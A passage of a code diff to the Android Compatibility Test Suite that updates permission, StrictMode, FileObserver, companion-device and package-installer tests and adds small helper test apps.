- { node -> node.textAsString.equals("Denied", ignoreCase = true) }
- ).assertNotNull {
- "Cannot find permissions state section in\n${uiDump(ui)}"
- }
- val sectionHeaderIndex = permStateSection.children.indexOfFirst {
- it?.depthFirstSearch { node ->
- node.textAsString.equals(
- if (state == PERMISSION_GRANTED) "Allowed" else "Denied",
- ignoreCase = true)
- } != null
- }
- permStateSection.getChild(sectionHeaderIndex + 1).depthFirstSearch { node ->
- node.textAsString.equals("Calendar", ignoreCase = true)
- }.assertNotNull {
- "Permission must be ${permissionStateToString(state)}\n${uiDump(ui)}"
- }
- } finally {
- goBack()
- goBack()
+ runWithShellPermissionIdentity {
+ assertEquals(
+ permissionStateToString(state),
+ permissionStateToString(context.packageManager.checkPermission(READ_CALENDAR, APK_PACKAGE_NAME)))
}
}
private fun goToPermissions(packageName: String = APK_PACKAGE_NAME) {
- context.startActivity(Intent(ACTION_APPLICATION_DETAILS_SETTINGS)
+ context.startActivity(Intent(ACTION_AUTO_REVOKE_PERMISSIONS)
.setData(Uri.fromParts("package", packageName, null))
.addFlags(FLAG_ACTIVITY_NEW_TASK))
+ waitForIdle()
click("Permissions")
}
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index 4517327..773551b 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -17,23 +17,31 @@
package android.os.cts
import android.companion.CompanionDeviceManager
+import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
import android.net.MacAddress
import android.platform.test.annotations.AppModeFull
import android.test.InstrumentationTestCase
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
import com.android.compatibility.common.util.SystemUtil.runShellCommand
import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
import com.android.compatibility.common.util.ThrowingSupplier
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
const val COMPANION_APPROVE_WIFI_CONNECTIONS =
"android.permission.COMPANION_APPROVE_WIFI_CONNECTIONS"
const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
const val SHELL_PACKAGE_NAME = "com.android.shell"
-val InstrumentationTestCase.context get() = instrumentation.context
+val InstrumentationTestCase.context get() = InstrumentationRegistry.getTargetContext()
/**
* Test for [CompanionDeviceManager]
*/
+@RunWith(AndroidJUnit4::class)
class CompanionDeviceManagerTest : InstrumentationTestCase() {
val cdm by lazy { context.getSystemService(CompanionDeviceManager::class.java) }
@@ -58,7 +66,13 @@
}, *permissions)
}
+ @Before
+ fun assumeHasFeature() {
+ assumeTrue(context.packageManager.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP))
+ }
+
@AppModeFull(reason = "Companion API for non-instant apps only")
+ @Test
fun testIsDeviceAssociated() {
val userId = context.userId
val packageName = context.packageName
@@ -78,6 +92,7 @@
}
@AppModeFull(reason = "Companion API for non-instant apps only")
+ @Test
fun testIsDeviceAssociatedWithCompanionApproveWifiConnectionsPermission() {
assertTrue(isCdmAssociated(
DUMMY_MAC_ADDRESS, SHELL_PACKAGE_NAME, MANAGE_COMPANION_DEVICES,
diff --git a/tests/tests/os/src/android/os/cts/FileObserverTest.java b/tests/tests/os/src/android/os/cts/FileObserverTest.java
index 9e61066..4c183e2 100644
--- a/tests/tests/os/src/android/os/cts/FileObserverTest.java
+++ b/tests/tests/os/src/android/os/cts/FileObserverTest.java
@@ -146,9 +146,9 @@
expected = new int[] {UNDEFINED};
moveEvents = waitForEvent(fileObserver);
if (isEmulated)
- assertEventsContains(expected, moveEvents);
+ assertEventsContains(testFile, expected, moveEvents);
else
- assertEventsEquals(expected, moveEvents);
+ assertEventsEquals(testFile, expected, moveEvents);
} finally {
fileObserver.stopWatching();
if (out != null)
@@ -185,9 +185,9 @@
};
moveEvents = waitForEvent(movedFileObserver);
if (isEmulated) {
- assertEventsContains(expected, moveEvents);
+ assertEventsContains(testFile, expected, moveEvents);
} else {
- assertEventsEquals(expected, moveEvents);
+ assertEventsEquals(testFile, expected, moveEvents);
}
} finally {
movedFileObserver.stopWatching();
@@ -213,9 +213,9 @@
final FileEvent[] moveEvents = waitForEvent(fileObserver);
if (isEmulated) {
- assertEventsContains(expected, moveEvents);
+ assertEventsContains(testFile, expected, moveEvents);
} else {
- assertEventsEquals(expected, moveEvents);
+ assertEventsEquals(testFile, expected, moveEvents);
}
}
@@ -238,9 +238,9 @@
final FileEvent[] moveEvents = waitForEvent(fileObserver);
if (isEmulated) {
- assertEventsContains(expected, moveEvents);
+ assertEventsContains(testFile, expected, moveEvents);
} else {
- assertEventsEquals(expected, moveEvents);
+ assertEventsEquals(testFile, expected, moveEvents);
}
}
@@ -311,26 +311,30 @@
}
}
- private void assertEventsEquals(final int[] expected, final FileEvent[] moveEvents) {
+ private void assertEventsEquals(
+ File testFile, final int[] expected, final FileEvent[] moveEvents) {
List<Integer> expectedEvents = new ArrayList<Integer>();
for (int i = 0; i < expected.length; i++) {
expectedEvents.add(expected[i]);
}
List<FileEvent> actualEvents = Arrays.asList(moveEvents);
- String message = "Expected: " + expectedEvents + " Actual: " + actualEvents;
+ String message = "For test file [" + testFile.getAbsolutePath()
+ + "] expected: " + expectedEvents + " Actual: " + actualEvents;
assertEquals(message, expected.length, moveEvents.length);
for (int i = 0; i < expected.length; i++) {
assertEquals(message, expected[i], moveEvents[i].event);
}
}
- private void assertEventsContains(final int[] expected, final FileEvent[] moveEvents) {
+ private void assertEventsContains(
+ File testFile, final int[] expected, final FileEvent[] moveEvents) {
List<Integer> expectedEvents = new ArrayList<Integer>();
for (int i = 0; i < expected.length; i++) {
expectedEvents.add(expected[i]);
}
List<FileEvent> actualEvents = Arrays.asList(moveEvents);
- String message = "Expected to contain: " + expectedEvents + " Actual: " + actualEvents;
+ String message = "For test file [" + testFile.getAbsolutePath()
+ + "] expected: " + expectedEvents + " Actual: " + actualEvents;
int j = 0;
for (int i = 0; i < expected.length; i++) {
while (expected[i] != moveEvents[j].event) {
diff --git a/tests/tests/os/src/android/os/cts/SimpleTestActivity.java b/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
index 42423156..22c706fe 100644
--- a/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
+++ b/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
@@ -16,7 +16,30 @@
package android.os.cts;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+
import android.app.Activity;
+import android.os.Bundle;
+import android.widget.EditText;
+import android.widget.LinearLayout;
public class SimpleTestActivity extends Activity {
+ private EditText mEditText;
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ mEditText = new EditText(this);
+ final LinearLayout layout = new LinearLayout(this);
+ layout.setOrientation(LinearLayout.VERTICAL);
+ layout.addView(mEditText);
+ setContentView(layout);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+ mEditText.requestFocus();
+ }
}
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index a591148..a50fd5a 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -17,9 +17,15 @@
package android.os.cts;
import static android.content.Context.WINDOW_SERVICE;
+import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS;
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.clearAllEvents;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -32,7 +38,9 @@
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.pm.PackageManager;
+import android.content.res.Configuration;
import android.hardware.display.DisplayManager;
+import android.inputmethodservice.InputMethodService;
import android.net.TrafficStats;
import android.net.Uri;
import android.os.IBinder;
@@ -61,10 +69,16 @@
import android.view.ViewConfiguration;
import android.view.WindowManager;
+import androidx.annotation.IntDef;
import androidx.test.core.app.ApplicationProvider;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.cts.mockime.ImeEvent;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -76,6 +90,8 @@
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
import java.net.HttpURLConnection;
import java.net.Socket;
import java.net.URL;
@@ -94,10 +110,52 @@
public class StrictModeTest {
private static final String TAG = "StrictModeTest";
private static final String REMOTE_SERVICE_ACTION = "android.app.REMOTESERVICE";
+ private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10); // 10 seconds
+ private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
private StrictMode.ThreadPolicy mThreadPolicy;
private StrictMode.VmPolicy mVmPolicy;
+ // TODO(b/160143006): re-enable IMS part test.
+ private static final boolean DISABLE_VERIFY_IMS = false;
+
+ /**
+ * Verify mode to verifying if APIs violates incorrect context violation.
+ *
+ * @see #VERIFY_MODE_GET_DISPLAY
+ * @see #VERIFY_MODE_GET_WINDOW_MANAGER
+ * @see #VERIFY_MODE_GET_VIEW_CONFIGURATION
+ */
+ @Retention(RetentionPolicy.SOURCE)
+ @IntDef(flag = true, value = {
+ VERIFY_MODE_GET_DISPLAY,
+ VERIFY_MODE_GET_WINDOW_MANAGER,
+ VERIFY_MODE_GET_VIEW_CONFIGURATION,
+ })
+ private @interface VerifyMode {}
+
+ /**
+ * Verifies if {@link Context#getDisplay} from {@link InputMethodService} and context created
+ * from {@link InputMethodService#createConfigurationContext(Configuration)} violates
+ * incorrect context violation.
+ */
+ private static final int VERIFY_MODE_GET_DISPLAY = 1;
+ /**
+ * Verifies if get {@link android.view.WindowManager} from {@link InputMethodService} and
+ * context created from {@link InputMethodService#createConfigurationContext(Configuration)}
+ * violates incorrect context violation.
+ *
+ * @see Context#getSystemService(String)
+ * @see Context#getSystemService(Class)
+ */
+ private static final int VERIFY_MODE_GET_WINDOW_MANAGER = 2;
+ /**
+ * Verifies if passing {@link InputMethodService} and context created
+ * from {@link InputMethodService#createConfigurationContext(Configuration)} to
+ * {@link android.view.ViewConfiguration#get(Context)} violates incorrect context violation.
+ */
+ private static final int VERIFY_MODE_GET_VIEW_CONFIGURATION = 3;
+
private Context getContext() {
return ApplicationProvider.getApplicationContext();
}
@@ -645,6 +703,9 @@
final Activity activity = InstrumentationRegistry.getInstrumentation()
.startActivitySync(intent);
assertNoViolation(() -> activity.getSystemService(WINDOW_SERVICE));
+
+ // TODO(b/159593676): move the logic to CtsInputMethodTestCases
+ verifyIms(VERIFY_MODE_GET_WINDOW_MANAGER);
}
@Test
@@ -667,10 +728,13 @@
Intent intent = new Intent(getContext(), SimpleTestActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
final Activity activity = InstrumentationRegistry.getInstrumentation()
.startActivitySync(intent);
assertNoViolation(() -> activity.getDisplay());
+ // TODO(b/159593676): move the logic to CtsInputMethodTestCases
+ verifyIms(VERIFY_MODE_GET_DISPLAY);
try {
getContext().getApplicationContext().getDisplay();
} catch (UnsupportedOperationException e) {
@@ -689,14 +753,14 @@
final Context baseContext = getContext();
assertViolation(
- "Tried to access UI constants from a non-visual Context.",
+ "Tried to access UI constants from a non-visual Context:",
() -> ViewConfiguration.get(baseContext));
final Display display = baseContext.getSystemService(DisplayManager.class)
.getDisplay(DEFAULT_DISPLAY);
final Context displayContext = baseContext.createDisplayContext(display);
assertViolation(
- "Tried to access UI constants from a non-visual Context.",
+ "Tried to access UI constants from a non-visual Context:",
() -> ViewConfiguration.get(displayContext));
final Context windowContext =
@@ -708,6 +772,57 @@
final Activity activity = InstrumentationRegistry.getInstrumentation()
.startActivitySync(intent);
assertNoViolation(() -> ViewConfiguration.get(activity));
+
+ // TODO(b/159593676): move the logic to CtsInputMethodTestCases
+ verifyIms(VERIFY_MODE_GET_VIEW_CONFIGURATION);
+ }
+
+ // TODO(b/159593676): move the logic to CtsInputMethodTestCases
+ /**
+ * Verify if APIs violates incorrect context violations by {@code mode}.
+ *
+ * @see VerifyMode
+ */
+ private void verifyIms(@VerifyMode int mode) throws Exception {
+ // If devices do not support installable IMEs, finish the test gracefully. We don't use
+ // assumeTrue here because we do pass some cases, so showing "pass" instead of "skip" makes
+ // sense here.
+ // TODO(b/160143006): re-enable IMS part test.
+ if (!supportsInstallableIme() || DISABLE_VERIFY_IMS) {
+ return;
+ }
+
+ try (final MockImeSession imeSession = MockImeSession.create(getContext(),
+ InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+ new ImeSettings.Builder().setStrictModeEnabled(true))) {
+ final ImeEventStream stream = imeSession.openEventStream();
+ expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+ final ImeEventStream forkedStream = clearAllEvents(stream, "onStrictModeViolated");
+ final ImeEvent imeEvent;
+ switch (mode) {
+ case VERIFY_MODE_GET_DISPLAY:
+ imeEvent = expectCommand(forkedStream, imeSession.callVerifyGetDisplay(),
+ TIMEOUT);
+ break;
+ case VERIFY_MODE_GET_WINDOW_MANAGER:
+ imeEvent = expectCommand(forkedStream, imeSession.callVerifyGetWindowManager(),
+ TIMEOUT);
+ break;
+ case VERIFY_MODE_GET_VIEW_CONFIGURATION:
+ imeEvent = expectCommand(forkedStream,
+ imeSession.callVerifyGetViewConfiguration(), TIMEOUT);
+ break;
+ default:
+ imeEvent = null;
+ }
+ assertTrue(imeEvent.getReturnBooleanValue());
+ notExpectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
+ NOT_EXPECT_TIMEOUT);
+ }
+ }
+
+ private boolean supportsInstallableIme() {
+ return getContext().getPackageManager().hasSystemFeature(FEATURE_INPUT_METHODS);
}
private static void runWithRemoteServiceBound(Context context, Consumer<ISecondary> consumer)
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
index 9a24968..33a8966 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
@@ -24,9 +24,6 @@
import androidx.test.InstrumentationRegistry
import androidx.test.runner.AndroidJUnit4
-import com.android.compatibility.common.util.SystemUtil.runShellCommand
-import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
-
import org.junit.After
import org.junit.Assert.assertEquals
import org.junit.Test
@@ -42,12 +39,6 @@
class IntentTest : PackageInstallerTestBase() {
private val context = InstrumentationRegistry.getTargetContext()
- private fun setSecureFrp(secureFrp: Boolean) {
- runWithShellPermissionIdentity {
- runShellCommand("settings put secure secure_frp_mode ${if (secureFrp) 1 else 0}")
- }
- }
-
@After
fun disableSecureFrp() {
setSecureFrp(false)
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
index ad7c7fd..45eb038 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
@@ -198,6 +198,11 @@
uiDevice.executeShellCommand("settings put secure $secureSetting $value")
}
+ fun setSecureFrp(secureFrp: Boolean) {
+ uiDevice.executeShellCommand("settings --user 0 " +
+ "put secure secure_frp_mode ${if (secureFrp) 1 else 0}")
+ }
+
@After
fun unregisterInstallResultReceiver() {
try {
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
index 24a1128..69096f8 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
@@ -98,7 +98,7 @@
@Test
fun confirmFrpInstallationFails() {
try {
- setSecureSetting("secure_frp_mode", 1)
+ setSecureFrp(true)
try {
val installation = startInstallationViaSession()
@@ -111,7 +111,7 @@
// Install should never have started
assertNotInstalled()
} finally {
- setSecureSetting("secure_frp_mode", 0)
+ setSecureFrp(false)
}
}
}
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index c869fab..376c579 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -38,7 +38,11 @@
"libctspermission_jni",
"libnativehelper_compat_libc++",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ "src/**/*.aidl",
+ "src/**/*.kt",
+ ],
sdk_version: "test_current",
libs: [
"android.test.runner.stubs",
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index 102741c..80becf34 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -19,6 +19,8 @@
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
<!-- Install main test suite apk -->
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
@@ -61,6 +63,7 @@
<option name="push" value="CtsInstalltimePermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsInstalltimePermissionDefinerApp.apk" />
<option name="push" value="CtsInstalltimePermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsInstalltimePermissionUserApp.apk" />
<option name="push" value="CtsAppThatRequestsOneTimePermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsOneTimePermission.apk" />
+ <option name="push" value="AppThatDefinesUndefinedPermissionGroupElement.apk->/data/local/tmp/cts/permissions/AppThatDefinesUndefinedPermissionGroupElement.apk" />
</target_preparer>
<!-- Remove additional apps if installed -->
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
index d9432c8..04faf1b 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
@@ -24,5 +24,8 @@
"vts10",
"general-tests",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ "src/**/*.aidl"
+ ],
}
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
index 77e9f9a..b248f3ca 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
@@ -24,42 +24,47 @@
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
-import android.os.Binder;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
+import android.os.Looper;
public class AccessLocationOnCommand extends Service {
// Longer than the STATE_SETTLE_TIME in AppOpsManager
private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
- private void getLocation() {
- Criteria crit = new Criteria();
- crit.setAccuracy(ACCURACY_FINE);
+ private IAccessLocationOnCommand.Stub mBinder = new IAccessLocationOnCommand.Stub() {
+ public void accessLocation() {
+ new Handler(Looper.getMainLooper()).postDelayed(() -> {
+ Criteria crit = new Criteria();
+ crit.setAccuracy(ACCURACY_FINE);
- getSystemService(LocationManager.class).requestSingleUpdate(crit, new LocationListener() {
- @Override
- public void onLocationChanged(Location location) {
- }
+ AccessLocationOnCommand.this.getSystemService(LocationManager.class)
+ .requestSingleUpdate(crit, new LocationListener() {
+ @Override
+ public void onLocationChanged(Location location) {
+ }
- @Override
- public void onStatusChanged(String provider, int status, Bundle extras) {
- }
+ @Override
+ public void onStatusChanged(String provider, int status,
+ Bundle extras) {
+ }
- @Override
- public void onProviderEnabled(String provider) {
- }
+ @Override
+ public void onProviderEnabled(String provider) {
+ }
- @Override
- public void onProviderDisabled(String provider) {
- }
- }, null);
- }
+ @Override
+ public void onProviderDisabled(String provider) {
+ }
+ }, null);
+ }, BACKGROUND_ACCESS_SETTLE_TIME);
+ }
+ };
@Override
public IBinder onBind(Intent intent) {
- (new Handler()).postDelayed(this::getLocation, BACKGROUND_ACCESS_SETTLE_TIME);
- return new Binder();
+ return mBinder;
}
@Override
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl
new file mode 100644
index 0000000..be92ed1
--- /dev/null
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthataccesseslocation;
+
+interface IAccessLocationOnCommand {
+ /** Access location on command */
+ void accessLocation();
+}
\ No newline at end of file
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
similarity index 87%
rename from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
rename to tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
index d957080..c8fd250 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
@@ -15,16 +15,14 @@
//
android_test_helper_app {
- name: "CtsAutoRevokeWhitelistedDummyApp",
+ name: "AppThatDefinesUndefinedPermissionGroupElement",
defaults: ["cts_defaults"],
sdk_version: "test_current",
// Tag this module as a cts test artifact
test_suites: [
"cts",
- "vts",
"vts10",
- "mts",
"general-tests",
],
- srcs: ["src/**/*.java", "src/**/*.kt"],
+ srcs: ["src/**/*.kt"],
}
diff --git a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/AndroidManifest.xml b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/AndroidManifest.xml
new file mode 100644
index 0000000..171d331
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission.cts.appthatrequestpermission"
+ android:versionCode="2">
+
+ <permission
+ android:name="android.permission.cts.appthatrequestpermission.TEST"
+ android:protectionLevel="dangerous"
+ android:permissionGroup="android.permission-group.UNDEFINED" />
+
+ <uses-permission android:name="android.permission.CAMERA" />
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
+ <uses-permission android:name="android.permission.cts.appthatrequestpermission.TEST" />
+
+ <application android:label="CtsPermissionUnknownGroup">
+ <activity
+ android:name=".RequestPermissions"
+ android:exported="true"/>
+ </application>
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/src/android/permission/cts/appthatrequestpermission/RequestPermissions.kt b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/src/android/permission/cts/appthatrequestpermission/RequestPermissions.kt
new file mode 100644
index 0000000..39183a8
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/src/android/permission/cts/appthatrequestpermission/RequestPermissions.kt
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission.cts.appthatrequestpermission
+
+import android.app.Activity
+
+class RequestPermissions : Activity() {
+ override fun onStart() {
+ super.onStart()
+ val permissions = intent.getStringArrayExtra(EXTRA_PERMISSIONS)!!
+ requestPermissions(permissions, 0)
+ }
+
+ override fun onRequestPermissionsResult(
+ requestCode: Int,
+ permissions: Array<String>,
+ grantResults: IntArray
+ ) {
+ finish()
+ }
+
+ companion object {
+ private const val EXTRA_PERMISSIONS =
+ "android.permission.cts.appthatrequestpermission.extra.PERMISSIONS"
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index 7ad5960..a383144 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -6,3 +6,4 @@
per-file MainlineNetworkStackPermissionTest.java = file: platform/frameworks/base:/services/net/OWNERS
per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
per-file OneTimePermissionTest.java, AppThatRequestOneTimePermission/... = evanseverson@google.com
+per-file LocationAccessCheckTest.java = ntmyren@google.com
diff --git a/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java b/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
index 947e59a..1837b32 100644
--- a/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
+++ b/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
@@ -84,7 +84,8 @@
@Before
public void clearData() {
- runShellCommand("pm clear android.permission.cts.appthatrunsrationaletests");
+ runShellCommand("pm clear --user " + sContext.getUserId()
+ + " android.permission.cts.appthatrunsrationaletests");
PermissionUtils.setPermissionFlags(PACKAGE_NAME, PERMISSION_NAME,
PackageManager.FLAG_PERMISSION_POLICY_FIXED, 0);
}
diff --git a/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java b/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java
new file mode 100644
index 0000000..45288bd
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import org.junit.rules.MethodRule;
+import org.junit.runners.model.FrameworkMethod;
+import org.junit.runners.model.Statement;
+
+/**
+ * A {@link org.junit.Rule} that will cause all tests in the class
+ * to be ignored if the argument to the constructor is true.
+ */
+public class IgnoreAllTestsRule implements MethodRule {
+
+ private boolean mIgnore;
+
+ /**
+ * Creates a new IgnoreAllTestsRule
+ * @param ignore If true, all tests in the class will be ignored. If false, this rule will
+ * do nothing.
+ */
+ public IgnoreAllTestsRule(boolean ignore) {
+ mIgnore = ignore;
+ }
+
+ @Override
+ public Statement apply(Statement base, FrameworkMethod method, Object target) {
+ if (mIgnore) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ }
+ };
+ } else {
+ return base;
+ }
+ }
+}
